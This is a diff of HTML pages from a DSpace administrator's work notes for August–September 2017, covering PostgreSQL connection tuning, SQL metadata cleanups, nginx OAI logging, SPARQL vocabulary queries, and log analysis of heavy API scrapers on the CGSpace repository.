+    404 66.249.66.90
+   1479 50.116.102.77
+   9794 45.5.184.196
+  85736 70.32.83.92
+
    +
  • The top offender is 70.32.83.92 which is actually the same IP as ccafs.cgiar.org, so I will email the Macaroni Bros to see if they can test on DSpace Test instead
    • +
  • I’ve enabled logging of /oai requests on nginx as well so we can potentially determine bad actors here (also to see if anyone is actually using OAI!)
    • +
+
    # log oai requests
+    location /oai {
+        access_log /var/log/nginx/oai.log;
+        proxy_pass http://tomcat_http;
+    }
+

2017-08-13

+
    +
  • Macaroni Bros say that CCAFS wants them to check once every hour for changes
    • +
  • I told them to check every four or six hours
    • +
+

2017-08-14

+
    +
  • Run author corrections on CGIAR Library community from Peter
    • +
+
$ ./fix-metadata-values.py -i /tmp/authors-fix-523.csv -f dc.contributor.author -t correct -m 3 -d dspace -u dspace -p fuuuu
+
    +
  • There were only three deletions so I just did them manually:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value='C';
+DELETE 1
+dspace=# delete from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value='WSSD';
+
    +
  • Generate a new list of authors from the CGIAR Library community for Peter to look through now that the initial corrections have been done
    • +
  • Thinking about resource limits for PostgreSQL again after last week’s CGSpace crash and related to a recently discussion I had in the comments of the April, 2017 DCAT meeting notes
    • +
  • In that thread Chris Wilper suggests a new default of 35 max connections for db.maxconnections (from the current default of 30), knowing that each DSpace web application gets to use up to this many on its own
    • +
  • It would be good to approximate what the theoretical maximum number of connections on a busy server would be, perhaps by looking to see which apps use SQL:
    • +
+
$ grep -rsI SQLException dspace-jspui | wc -l          
+473
+$ grep -rsI SQLException dspace-oai | wc -l  
+63
+$ grep -rsI SQLException dspace-rest | wc -l
+139
+$ grep -rsI SQLException dspace-solr | wc -l                                                                               
+0
+$ grep -rsI SQLException dspace-xmlui | wc -l
+866
+
    +
  • Of those five applications we’re running, only solr appears not to use the database directly
    • +
  • And JSPUI is only used internally (so it doesn’t really count), leaving us with OAI, REST, and XMLUI
    • +
  • Assuming each takes a theoretical maximum of 35 connections during a heavy load (35 * 3 = 105), that would put the connections well above PostgreSQL’s default max of 100 connections (remember a handful of connections are reserved for the PostgreSQL super user, see superuser_reserved_connections)
    • +
  • So we should adjust PostgreSQL’s max connections to be DSpace’s db.maxconnections * 3 + 3
    • +
  • This would allow each application to use up to db.maxconnections and not to go over the system’s PostgreSQL limit
    • +
  • Perhaps since CGSpace is a busy site with lots of resources we could actually use something like 40 for db.maxconnections
    • +
  • Also worth looking into is to set up a database pool using JNDI, as apparently DSpace’s db.poolname hasn’t been used since around DSpace 1.7 (according to Chris Wilper’s comments in the thread)
    • +
  • Need to go check the PostgreSQL connection stats in Munin on CGSpace from the past week to get an idea if 40 is appropriate
    • +
  • Looks like connections hover around 50:
    • +
+

PostgreSQL connections 2017-08

+
    +
  • Unfortunately I don’t have the breakdown of which DSpace apps are making those connections (I’ll assume XMLUI)
    • +
  • So I guess a limit of 30 (DSpace default) is too low, but 70 causes problems when the load increases and the system’s PostgreSQL max_connections is too low
    • +
  • For now I think maybe setting DSpace’s db.maxconnections to 40 and adjusting the system’s max_connections might be a good starting point: 40 * 3 + 3 = 123
    • +
  • Apply 223 more author corrections from Peter on CGIAR Library
    • +
  • Help Magdalena from CCAFS with some CUA statistics questions
    • +
+

2017-08-15

+
    +
  • Increase the nginx upload limit on CGSpace (linode18) so Sisay can upload 23 CIAT reports
    • +
  • Do some last minute cleanups and de-duplications of the CGIAR Library data, as I need to send it to Peter this week
    • +
  • Metadata fields like dc.contributor.author, dc.publisher, dc.type, and a few others had somehow been duplicated along the line
    • +
  • Also, a few dozen dc.description.abstract fields still had various HTML tags and entities in them
    • +
  • Also, a bunch of dc.subject fields that were not AGROVOC had not been moved properly to cg.system.subject
    • +
+

2017-08-16

+
    +
  • I wanted to merge the various field variations like cg.subject.system and cg.subject.system[en_US] in OpenRefine but I realized it would be easier in PostgreSQL:
    • +
+
dspace=# select distinct text_value, text_lang from metadatavalue where resource_type_id=2 and metadata_field_id=254;
+
    +
  • And actually, we can do it for other generic fields for items in those collections, for example dc.description.abstract:
    • +
+
dspace=# update metadatavalue set text_lang='en_US' where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'description' and qualifier = 'abstract') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/93761', '10947/1', '10947/10', '10947/11', '10947/12', '10947/13', '10947/14', '10947/15', '10947/16', '10947/17', '10947/18', '10947/19', '10947/2', '10947/20', '10947/21', '10947/22', '10947/23', '10947/24', '10947/25', '10947/2512', '10947/2515', '10947/2516', '10947/2517', '10947/2518', '10947/2519', '10947/2520', '10947/2521', '10947/2522', '10947/2523', '10947/2524', '10947/2525', '10947/2526', '10947/2527', '10947/2528', '10947/2529', '10947/2530', '10947/2531', '10947/2532', '10947/2533', '10947/2534', '10947/2535', '10947/2536', '10947/2537', '10947/2538', '10947/2539', '10947/2540', '10947/2541', '10947/2589', '10947/26', '10947/2631', '10947/27', '10947/2708', '10947/2776', '10947/2782', '10947/2784', '10947/2786', '10947/2790', '10947/28', '10947/2805', '10947/2836', '10947/2871', '10947/2878', '10947/29', '10947/2900', '10947/2919', '10947/3', '10947/30', '10947/31', '10947/32', '10947/33', '10947/34', '10947/3457', '10947/35', '10947/36', '10947/37', '10947/38', '10947/39', '10947/4', '10947/40', '10947/4052', '10947/4054', '10947/4056', '10947/4068', '10947/41', '10947/42', '10947/43', '10947/4368', '10947/44', '10947/4467', '10947/45', '10947/4508', '10947/4509', '10947/4510', '10947/4573', '10947/46', '10947/4635', '10947/4636', '10947/4637', '10947/4638', '10947/4639', '10947/4651', '10947/4657', '10947/47', '10947/48', '10947/49', '10947/5', '10947/50', '10947/51', '10947/5308', '10947/5322', '10947/5324', '10947/5326', '10947/6', '10947/7', '10947/8', '10947/9')))
+
    +
  • And on others like dc.language.iso, dc.relation.ispartofseries, dc.type, dc.title, etc…
    • +
  • Also, to move fields from dc.identifier.url to cg.identifier.url[en_US] (because we don’t use the Dublin Core one for some reason):
    • +
+
dspace=# update metadatavalue set metadata_field_id = 219, text_lang = 'en_US' where resource_type_id = 2 AND metadata_field_id = 237;
+UPDATE 15
+
    +
  • Set the text_lang of all dc.identifier.uri (Handle) fields to be NULL, just like default DSpace does:
    • +
+
dspace=# update metadatavalue set text_lang=NULL where resource_type_id = 2 and metadata_field_id = 25 and text_value like 'http://hdl.handle.net/10947/%';
+UPDATE 4248
+
    +
  • Also update the text_lang of dc.contributor.author fields for metadata in these collections:
    • +
+
dspace=# update metadatavalue set text_lang=NULL where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/93761', '10947/1', '10947/10', '10947/11', '10947/12', '10947/13', '10947/14', '10947/15', '10947/16', '10947/17', '10947/18', '10947/19', '10947/2', '10947/20', '10947/21', '10947/22', '10947/23', '10947/24', '10947/25', '10947/2512', '10947/2515', '10947/2516', '10947/2517', '10947/2518', '10947/2519', '10947/2520', '10947/2521', '10947/2522', '10947/2523', '10947/2524', '10947/2525', '10947/2526', '10947/2527', '10947/2528', '10947/2529', '10947/2530', '10947/2531', '10947/2532', '10947/2533', '10947/2534', '10947/2535', '10947/2536', '10947/2537', '10947/2538', '10947/2539', '10947/2540', '10947/2541', '10947/2589', '10947/26', '10947/2631', '10947/27', '10947/2708', '10947/2776', '10947/2782', '10947/2784', '10947/2786', '10947/2790', '10947/28', '10947/2805', '10947/2836', '10947/2871', '10947/2878', '10947/29', '10947/2900', '10947/2919', '10947/3', '10947/30', '10947/31', '10947/32', '10947/33', '10947/34', '10947/3457', '10947/35', '10947/36', '10947/37', '10947/38', '10947/39', '10947/4', '10947/40', '10947/4052', '10947/4054', '10947/4056', '10947/4068', '10947/41', '10947/42', '10947/43', '10947/4368', '10947/44', '10947/4467', '10947/45', '10947/4508', '10947/4509', '10947/4510', '10947/4573', '10947/46', '10947/4635', '10947/4636', '10947/4637', '10947/4638', '10947/4639', '10947/4651', '10947/4657', '10947/47', '10947/48', '10947/49', '10947/5', '10947/50', '10947/51', '10947/5308', '10947/5322', '10947/5324', '10947/5326', '10947/6', '10947/7', '10947/8', '10947/9')));
+UPDATE 4899
+
    +
  • Wow, I just wrote this baller regex facet to find duplicate authors:
    • +
+
isNotNull(value.match(/(CGIAR .+?)\|\|\1/))
+
    +
  • This would be true if the authors were like CGIAR System Management Office||CGIAR System Management Office, which some of the CGIAR Library’s were
    • +
  • Unfortunately when you fix these in OpenRefine and then submit the metadata to DSpace it doesn’t detect any changes, so you have to edit them all manually via DSpace’s “Edit Item”
    • +
  • Ooh! And an even more interesting regex would match any duplicated author:
    • +
+
isNotNull(value.match(/(.+?)\|\|\1/))
+
    +
  • Which means it can also be used to find items with duplicate dc.subject fields…
    • +
  • Finally sent Peter the final dump of the CGIAR System Organization community so he can have a last look at it
    • +
  • Post a message to the dspace-tech mailing list to ask about querying the AGROVOC API from the submission form
    • +
  • Abenet was asking if there was some way to hide certain internal items from the “ILRI Research Outputs” RSS feed (which is the top-level ILRI community feed), because Shirley was complaining
    • +
  • I think we could use harvest.includerestricted.rss = false but the items might need to be 100% restricted, not just the metadata
    • +
  • Adjust Ansible postgres role to use max_connections from a template variable and deploy a new limit of 123 on CGSpace
    • +
+

2017-08-17

+
    +
  • Run Peter’s edits to the CGIAR System Organization community on DSpace Test
    • +
  • Uptime Robot said CGSpace went down for 1 minute, not sure why
    • +
  • Looking in dspace.log.2017-08-17 I see some weird errors that might be related?
    • +
+
2017-08-17 07:55:31,396 ERROR net.sf.ehcache.store.DiskStore @ cocoon-ehcacheCache: Could not read disk store element for key PK_G-aspect-cocoon://DRI/12/handle/10568/65885?pipelinehash=823411183535858997_T-Navigation-3368194896954203241. Error was invalid stream header: 00000000
+java.io.StreamCorruptedException: invalid stream header: 00000000
+
    +
  • Weird that these errors seem to have started on August 11th, the same day we had capacity issues with PostgreSQL:
    • +
+
# grep -c "ERROR net.sf.ehcache.store.DiskStore" dspace.log.2017-08-*
+dspace.log.2017-08-01:0
+dspace.log.2017-08-02:0
+dspace.log.2017-08-03:0
+dspace.log.2017-08-04:0
+dspace.log.2017-08-05:0
+dspace.log.2017-08-06:0
+dspace.log.2017-08-07:0
+dspace.log.2017-08-08:0
+dspace.log.2017-08-09:0
+dspace.log.2017-08-10:0
+dspace.log.2017-08-11:8806
+dspace.log.2017-08-12:5496
+dspace.log.2017-08-13:2925
+dspace.log.2017-08-14:2135
+dspace.log.2017-08-15:1506
+dspace.log.2017-08-16:1935
+dspace.log.2017-08-17:584
+
    +
  • There are none in 2017-07 either…
    • +
  • A few posts on the dspace-tech mailing list say this is related to the Cocoon cache somehow
    • +
  • I will clear the XMLUI cache for now and see if the errors continue (though perpaps shutting down Tomcat and removing the cache is more effective somehow?)
    • +
  • We tested the option for limiting restricted items from the RSS feeds on DSpace Test
    • +
  • I created four items, and only the two with public metadata showed up in the community’s RSS feed: +
      +
    • Public metadata, public bitstream ✓
      • +
    • Public metadata, restricted bitstream ✓
      • +
    • Restricted metadata, restricted bitstream ✗
      • +
    • Private item ✗
      • +
    +
    • +
  • Peter responded and said that he doesn’t want to limit items to be restricted just so we can change the RSS feeds
    • +
+

2017-08-18

+
    +
  • Someone on the dspace-tech mailing list responded with some tips about using the authority framework to do external queries from the submission form
    • +
  • He linked to some examples from DSpace-CRIS that use this functionality: VIAFAuthority
    • +
  • I wired it up to the dc.subject field of the submission interface using the “lookup” type and it works!
    • +
  • I think we can use this example to get a working AGROVOC query
    • +
  • More information about authority framework: https://wiki.lyrasis.org/display/DSPACE/Authority+Control+of+Metadata+Values
    • +
  • Wow, I’m playing with the AGROVOC SPARQL endpoint using the sparql-query tool:
    • +
+
$ ./sparql-query http://202.45.139.84:10035/catalogs/fao/repositories/agrovoc
+sparql$ PREFIX skos: <http://www.w3.org/2004/02/skos/core#>
+SELECT 
+    ?label 
+WHERE {  
+   {  ?concept  skos:altLabel ?label . } UNION {  ?concept  skos:prefLabel ?label . }
+   FILTER regex(str(?label), "^fish", "i") .
+} LIMIT 10;
+
+┌───────────────────────┐                                                      
+│ ?label                │                                                      
+├───────────────────────┤                                                      
+│ fisheries legislation │                                                      
+│ fishery legislation   │                                                      
+│ fishery law           │                                                      
+│ fish production       │                                                      
+│ fish farming          │                                                      
+│ fishing industry      │                                                      
+│ fisheries data        │                                                      
+│ fishing power         │                                                      
+│ fishing times         │                                                      
+│ fish passes           │                                                      
+└───────────────────────┘
+
+

2017-08-19

+
    +
  • More examples of SPARQL queries: https://github.com/rsinger/openlcsh/wiki/Sparql-Examples
    • +
  • Specifically the explanation of the FILTER regex
    • +
  • Might want to SELECT DISTINCT or increase the LIMIT to get terms like “wheat” and “fish” to be visible
    • +
  • Test queries online on the AGROVOC SPARQL portal: http://202.45.139.84:10035/catalogs/fao/repositories/agrovoc
    • +
+

2017-08-20

+
    +
  • Since I cleared the XMLUI cache on 2017-08-17 there haven’t been any more ERROR net.sf.ehcache.store.DiskStore errors
    • +
  • Look at the CGIAR Library to see if I can find the items that have been submitted since May:
    • +
+
dspace=# select * from metadatavalue where metadata_field_id=11 and date(text_value) > '2017-05-01T00:00:00Z';
+ metadata_value_id | item_id | metadata_field_id |      text_value      | text_lang | place | authority | confidence 
+-------------------+---------+-------------------+----------------------+-----------+-------+-----------+------------
+            123117 |    5872 |                11 | 2017-06-28T13:05:18Z |           |     1 |           |         -1
+            123042 |    5869 |                11 | 2017-05-15T03:29:23Z |           |     1 |           |         -1
+            123056 |    5870 |                11 | 2017-05-22T11:27:15Z |           |     1 |           |         -1
+            123072 |    5871 |                11 | 2017-06-06T07:46:01Z |           |     1 |           |         -1
+            123171 |    5874 |                11 | 2017-08-04T07:51:20Z |           |     1 |           |         -1
+(5 rows)
+
    +
  • According to dc.date.accessioned (metadata field id 11) there have only been five items submitted since May
    • +
  • These are their handles:
    • +
+
dspace=# select handle from item, handle where handle.resource_id = item.item_id AND item.item_id in (select item_id from metadatavalue where metadata_field_id=11 and date(text_value) > '2017-05-01T00:00:00Z');
+   handle   
+------------
+ 10947/4658
+ 10947/4659
+ 10947/4660
+ 10947/4661
+ 10947/4664
+(5 rows)
+

2017-08-23

+
    +
  • Start testing the nginx configs for the CGIAR Library migration as well as start making a checklist
    • +
+

2017-08-28

+
    +
  • Bram had written to me two weeks ago to set up a chat about ORCID stuff but the email apparently bounced and I only found out when he emaiiled me on another account
    • +
  • I told him I can chat in a few weeks when I’m back
    • +
+

2017-08-31

+
    +
  • I notice that in many WLE collections Marianne Gadeberg is in the edit or approval steps, but she is also in the groups for those steps.
    • +
  • I think we need to have a process to go back and check / fix some of these scenarios—to remove her user from the step and instead add her to the group—because we have way too many authorizations and in late 2016 we had performance issues with Solr because of this
    • +
  • I asked Sisay about this and hinted that he should go back and fix these things, but let’s see what he says
    • +
  • Saw CGSpace go down briefly today and noticed SQL connection pool errors in the dspace log file:
    • +
+
ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error
+org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • Looking at the logs I see we have been having hundreds or thousands of these errors a few times per week in 2017-07 and almost every day in 2017-08
    • +
  • It seems that I changed the db.maxconnections setting from 70 to 40 around 2017-08-14, but Macaroni Bros also reduced their hourly hammering of the REST API then
    • +
  • Nevertheless, it seems like a connection limit is not enough and that I should increase it (as well as the system’s PostgreSQL max_connections)
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-09/index.html b/docs/2017-09/index.html new file mode 100644 index 000000000..988f7e784 --- /dev/null +++ b/docs/2017-09/index.html @@ -0,0 +1,713 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2017

+

+ + in + +  + +

+
+

2017-09-06

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours
    • +
+

2017-09-07

+
    +
  • Ask Sisay to clean up the WLE approvers a bit, as Marianne’s user account is both in the approvers step as well as the group
    • +
+

2017-09-10

+
    +
  • Delete 58 blank metadata values from the CGSpace database:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and text_value='';
+DELETE 58
+
    +
  • I also ran it on DSpace Test because we’ll be migrating the CGIAR Library soon and it would be good to catch these before we migrate
    • +
  • Run system updates and restart DSpace Test
    • +
  • We only have 7.7GB of free space on DSpace Test so I need to copy some data off of it before doing the CGIAR Library migration (requires lots of exporting and creating temp files)
    • +
  • I still have the original data from the CGIAR Library so I’ve zipped it up and sent it off to linode18 for now
    • +
  • sha256sum of original-cgiar-library-6.6GB.tar.gz is: bcfabb52f51cbdf164b61b7e9b3a0e498479e4c1ed1d547d32d11f44c0d5eb8a
    • +
  • Start doing a test run of the CGIAR Library migration locally
    • +
  • Notes and todo checklist here for now: https://gist.github.com/alanorth/3579b74e116ab13418d187ed379abd9c
    • +
  • Create pull request for Phase I and II changes to CCAFS Project Tags: #336
    • +
  • We’ve been discussing with Macaroni Bros and CCAFS for the past month or so and the list of tags was recently finalized
    • +
  • There will need to be some metadata updates — though if I recall correctly it is only about seven records — for that as well, I had made some notes about it in 2017-07, but I’ve asked for more clarification from Lili just in case
    • +
  • Looking at the DSpace logs to see if we’ve had a change in the “Cannot get a connection” errors since last month when we adjusted the db.maxconnections parameter on CGSpace:
    • +
+
# grep -c "Cannot get a connection, pool error Timeout waiting for idle object" dspace.log.2017-09-*
+dspace.log.2017-09-01:0
+dspace.log.2017-09-02:0
+dspace.log.2017-09-03:9
+dspace.log.2017-09-04:17
+dspace.log.2017-09-05:752
+dspace.log.2017-09-06:0
+dspace.log.2017-09-07:0
+dspace.log.2017-09-08:10
+dspace.log.2017-09-09:0
+dspace.log.2017-09-10:0
+
    +
  • Also, since last month (2017-08) Macaroni Bros no longer runs their REST API scraper every hour, so I’m sure that helped
    • +
  • There are still some errors, though, so maybe I should bump the connection limit up a bit
    • +
  • I remember seeing that Munin shows that the average number of connections is 50 (which is probably mostly from the XMLUI) and we’re currently allowing 40 connections per app, so maybe it would be good to bump that value up to 50 or 60 along with the system’s PostgreSQL max_connections (formula should be: webapps * 60 + 3, or 3 * 60 + 3 = 183 in our case)
    • +
  • I updated both CGSpace and DSpace Test to use these new settings (60 connections per web app and 183 for system PostgreSQL limit)
    • +
  • I’m expecting to see 0 connection errors for the next few months
    • +
+

2017-09-11

+ +

2017-09-12

+
    +
  • I was testing the METS XSD caching during AIP ingest but it doesn’t seem to help actually
    • +
  • The import process takes the same amount of time with and without the caching
    • +
  • Also, I captured TCP packets destined for port 80 and both imports only captured ONE packet (an update check from some component in Java):
    • +
+
$ sudo tcpdump -i en0 -w without-cached-xsd.dump dst port 80 and 'tcp[32:4] = 0x47455420'
+
    +
  • Great TCP dump guide here: https://danielmiessler.com/study/tcpdump
    • +
  • The last part of that command filters for HTTP GET requests, of which there should have been many to fetch all the XSD files for validation
    • +
  • I sent a message to the mailing list to see if anyone knows more about this
    • +
  • In looking at the tcpdump results I notice that there is an update check to the ehcache server on every iteration of the ingest loop, for example:
    • +
+
09:39:36.008956 IP 192.168.8.124.50515 > 157.189.192.67.http: Flags [P.], seq 1736833672:1736834103, ack 147469926, win 4120, options [nop,nop,TS val 1175113331 ecr 550028064], length 431: HTTP: GET /kit/reflector?kitID=ehcache.default&pageID=update.properties&id=2130706433&os-name=Mac+OS+X&jvm-name=Java+HotSpot%28TM%29+64-Bit+Server+VM&jvm-version=1.8.0_144&platform=x86_64&tc-version=UNKNOWN&tc-product=Ehcache+Core+1.7.2&source=Ehcache+Core&uptime-secs=0&patch=UNKNOWN HTTP/1.1
+
    +
  • Turns out this is a known issue and Ehcache has refused to make it opt-in: https://jira.terracotta.org/jira/browse/EHC-461
    • +
  • But we can disable it by adding an updateCheck="false" attribute to the main <ehcache > tag in dspace-services/src/main/resources/caching/ehcache-config.xml
    • +
  • After re-compiling and re-deploying DSpace I no longer see those update checks during item submission
    • +
  • I had a Skype call with Bram Luyten from Atmire to discuss various issues related to ORCID in DSpace +
      +
    • First, ORCID is deprecating their version 1 API (which DSpace uses) and in version 2 API they have removed the ability to search for users by name
      • +
    • The logic is that searching by name actually isn’t very useful because ORCID is essentially a global phonebook and there are tons of legitimately duplicate and ambiguous names
      • +
    • Atmire’s proposed integration would work by having users lookup and add authors to the authority core directly using their ORCID ID itself (this would happen during the item submission process or perhaps as a standalone / batch process, for example to populate the authority core with a list of known ORCIDs)
      • +
    • Once the association between name and ORCID is made in the authority then it can be autocompleted in the lookup field
      • +
    • Ideally there could also be a user interface for cleanup and merging of authorities
      • +
    • He will prepare a quote for us with keeping in mind that this could be useful to contribute back to the community for a 5.x release
      • +
    • As far as exposing ORCIDs as flat metadata along side all other metadata, he says this should be possible and will work on a quote for us
      • +
    +
    • +
+

2017-09-13

+
    +
  • Last night Linode sent an alert about CGSpace (linode18) that it has exceeded the outbound traffic rate threshold of 10Mb/s for the last two hours
    • +
  • I wonder what was going on, and looking into the nginx logs I think maybe it’s OAI…
    • +
  • Here is yesterday’s top ten IP addresses making requests to /oai:
    • +
+
# awk '{print $1}' /var/log/nginx/oai.log | sort -n | uniq -c | sort -h | tail -n 10
+      1 213.136.89.78
+      1 66.249.66.90
+      1 66.249.66.92
+      3 68.180.229.31
+      4 35.187.22.255
+  13745 54.70.175.86
+  15814 34.211.17.113
+  15825 35.161.215.53
+  16704 54.70.51.7
+
    +
  • Compared to the previous day’s logs it looks VERY high:
    • +
+
# awk '{print $1}' /var/log/nginx/oai.log.1 | sort -n | uniq -c | sort -h | tail -n 10
+      1 207.46.13.39
+      1 66.249.66.93
+      2 66.249.66.91
+      4 216.244.66.194
+     14 66.249.66.90
+
    +
  • The user agents for those top IPs are: +
      +
    • 54.70.175.86: API scraper
      • +
    • 34.211.17.113: API scraper
      • +
    • 35.161.215.53: API scraper
      • +
    • 54.70.51.7: API scraper
      • +
    +
    • +
  • And this user agent has never been seen before today (or at least recently!):
    • +
+
# grep -c "API scraper" /var/log/nginx/oai.log
+62088
+# zgrep -c "API scraper" /var/log/nginx/oai.log.*.gz
+/var/log/nginx/oai.log.10.gz:0
+/var/log/nginx/oai.log.11.gz:0
+/var/log/nginx/oai.log.12.gz:0
+/var/log/nginx/oai.log.13.gz:0
+/var/log/nginx/oai.log.14.gz:0
+/var/log/nginx/oai.log.15.gz:0
+/var/log/nginx/oai.log.16.gz:0
+/var/log/nginx/oai.log.17.gz:0
+/var/log/nginx/oai.log.18.gz:0
+/var/log/nginx/oai.log.19.gz:0
+/var/log/nginx/oai.log.20.gz:0
+/var/log/nginx/oai.log.21.gz:0
+/var/log/nginx/oai.log.22.gz:0
+/var/log/nginx/oai.log.23.gz:0
+/var/log/nginx/oai.log.24.gz:0
+/var/log/nginx/oai.log.25.gz:0
+/var/log/nginx/oai.log.26.gz:0
+/var/log/nginx/oai.log.27.gz:0
+/var/log/nginx/oai.log.28.gz:0
+/var/log/nginx/oai.log.29.gz:0
+/var/log/nginx/oai.log.2.gz:0
+/var/log/nginx/oai.log.30.gz:0
+/var/log/nginx/oai.log.3.gz:0
+/var/log/nginx/oai.log.4.gz:0
+/var/log/nginx/oai.log.5.gz:0
+/var/log/nginx/oai.log.6.gz:0
+/var/log/nginx/oai.log.7.gz:0
+/var/log/nginx/oai.log.8.gz:0
+/var/log/nginx/oai.log.9.gz:0
+
    +
  • Some of these heavy users are also using XMLUI, and their user agent isn’t matched by the Tomcat Session Crawler valve, so each request uses a different session
    • +
  • Yesterday alone the IP addresses using the API scraper user agent were responsible for 16,000 sessions in XMLUI:
    • +
+
# grep -a -E "(54.70.51.7|35.161.215.53|34.211.17.113|54.70.175.86)" /home/cgspace.cgiar.org/log/dspace.log.2017-09-12 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+15924
+
    +
  • If this continues I will definitely need to figure out who is responsible for this scraper and add their user agent to the session crawler valve regex
    • +
  • A search for “API scraper” user agent on Google returns a robots.txt with a comment that this is the Yewno bot: http://www.escholarship.org/robots.txt
    • +
  • Also, in looking at the DSpace logs I noticed a warning from OAI that I should look into:
    • +
+
WARN  org.dspace.xoai.services.impl.xoai.DSpaceRepositoryConfiguration @ { OAI 2.0 :: DSpace } Not able to retrieve the dspace.oai.url property from oai.cfg. Falling back to request address
+
    +
  • Looking at the spreadsheet with deletions and corrections that CCAFS sent last week
    • +
  • It appears they want to delete a lot of metadata, which I’m not sure they realize the implications of:
    • +
+
dspace=# select text_value, count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id in (134, 235) and text_value in ('EA_PAR','FP1_CSAEvidence','FP2_CRMWestAfrica','FP3_Gender','FP4_Baseline','FP4_CCPAG','FP4_CCPG','FP4_CIATLAM IMPACT','FP4_ClimateData','FP4_ClimateModels','FP4_GenderPolicy','FP4_GenderToolbox','FP4_Livestock','FP4_PolicyEngagement','FP_GII','SA_Biodiversity','SA_CSV','SA_GHGMeasurement','SEA_mitigationSAMPLES','SEA_UpscalingInnovation','WA_Partnership','WA_SciencePolicyExchange') group by text_value;                                                                                                                                                                                                                  
+        text_value        | count                              
+--------------------------+-------                             
+ FP4_ClimateModels        |     6                              
+ FP1_CSAEvidence          |     7                              
+ SEA_UpscalingInnovation  |     7                              
+ FP4_Baseline             |    69                              
+ WA_Partnership           |     1                              
+ WA_SciencePolicyExchange |     6                              
+ SA_GHGMeasurement        |     2                              
+ SA_CSV                   |     7                              
+ EA_PAR                   |    18                              
+ FP4_Livestock            |     7                              
+ FP4_GenderPolicy         |     4                              
+ FP2_CRMWestAfrica        |    12                              
+ FP4_ClimateData          |    24                              
+ FP4_CCPAG                |     2                              
+ SEA_mitigationSAMPLES    |     2                              
+ SA_Biodiversity          |     1                              
+ FP4_PolicyEngagement     |    20                              
+ FP3_Gender               |     9                              
+ FP4_GenderToolbox        |     3                              
+(19 rows)
+
    +
  • I sent CCAFS people an email to ask if they really want to remove these 200+ tags
    • +
  • She responded yes, so I’ll at least need to do these deletes in PostgreSQL:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and metadata_field_id in (134, 235) and text_value in ('EA_PAR','FP1_CSAEvidence','FP2_CRMWestAfrica','FP3_Gender','FP4_Baseline','FP4_CCPAG','FP4_CCPG','FP4_CIATLAM IMPACT','FP4_ClimateData','FP4_ClimateModels','FP4_GenderPolicy','FP4_GenderToolbox','FP4_Livestock','FP4_PolicyEngagement','FP_GII','SA_Biodiversity','SA_CSV','SA_GHGMeasurement','SEA_mitigationSAMPLES','SEA_UpscalingInnovation','WA_Partnership','WA_SciencePolicyExchange','FP_GII');
+DELETE 207
+
    +
  • When we discussed this in late July there were some other renames they had requested, but I don’t see them in the current spreadsheet so I will have to follow that up
    • +
  • I talked to Macaroni Bros and they said to just go ahead with the other corrections as well as their spreadsheet was evolved organically rather than systematically!
    • +
  • The final list of corrections and deletes should therefore be:
    • +
+
delete from metadatavalue where resource_type_id=2 and metadata_field_id=235 and text_value='PII-FP4_CRMWestAfrica';
+update metadatavalue set text_value='FP3_VietnamLED' where resource_type_id=2 and metadata_field_id=134 and text_value='FP3_VeitnamLED';
+update metadatavalue set text_value='PII-FP1_PIRCCA' where resource_type_id=2 and metadata_field_id=235 and text_value='PII-SEA_PIRCCA';
+delete from metadatavalue where resource_type_id=2 and metadata_field_id=235 and text_value='PII-WA_IntegratedInterventions';
+delete from metadatavalue where resource_type_id=2 and metadata_field_id in (134, 235) and text_value in ('EA_PAR','FP1_CSAEvidence','FP2_CRMWestAfrica','FP3_Gender','FP4_Baseline','FP4_CCPAG','FP4_CCPG','FP4_CIATLAM IMPACT','FP4_ClimateData','FP4_ClimateModels','FP4_GenderPolicy','FP4_GenderToolbox','FP4_Livestock','FP4_PolicyEngagement','FP_GII','SA_Biodiversity','SA_CSV','SA_GHGMeasurement','SEA_mitigationSAMPLES','SEA_UpscalingInnovation','WA_Partnership','WA_SciencePolicyExchange','FP_GII');
+
    +
  • Create and merge pull request to shut up the Ehcache update check (#337)
    • +
  • Although it looks like there was a previous attempt to disable these update checks that was merged in DSpace 4.0 (although it only affects XMLUI): https://jira.duraspace.org/browse/DS-1492
    • +
  • I commented there suggesting that we disable it globally
    • +
  • I merged the changes to the CCAFS project tags (#336) but still need to finalize the metadata deletions/renames
    • +
  • I merged the CGIAR Library theme changes (#338) to the 5_x-prod branch in preparation for next week’s migration
    • +
  • I emailed the Handle administrators (hdladmin@cnri.reston.va.us) to ask them what the process for changing their prefix to be resolved by our resolver
    • +
  • They responded and said that they need email confirmation from the contact of record of the other prefix, so I should have the CGIAR System Organization people email them before I send the new sitebndl.zip
    • +
  • Testing to see how we end up with all these new authorities after we keep cleaning and merging them in the database
    • +
  • Here are all my distinct authority combinations in the database before:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Orth, %';
+ text_value |              authority               | confidence 
+------------+--------------------------------------+------------
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |         -1
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 7c2bffb8-58c9-4bc8-b102-ebe8aec200ad |        600
+ Orth, A.   | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+ Orth, Alan | 1a1943a0-3f87-402f-9afe-e52fb46a513e |         -1
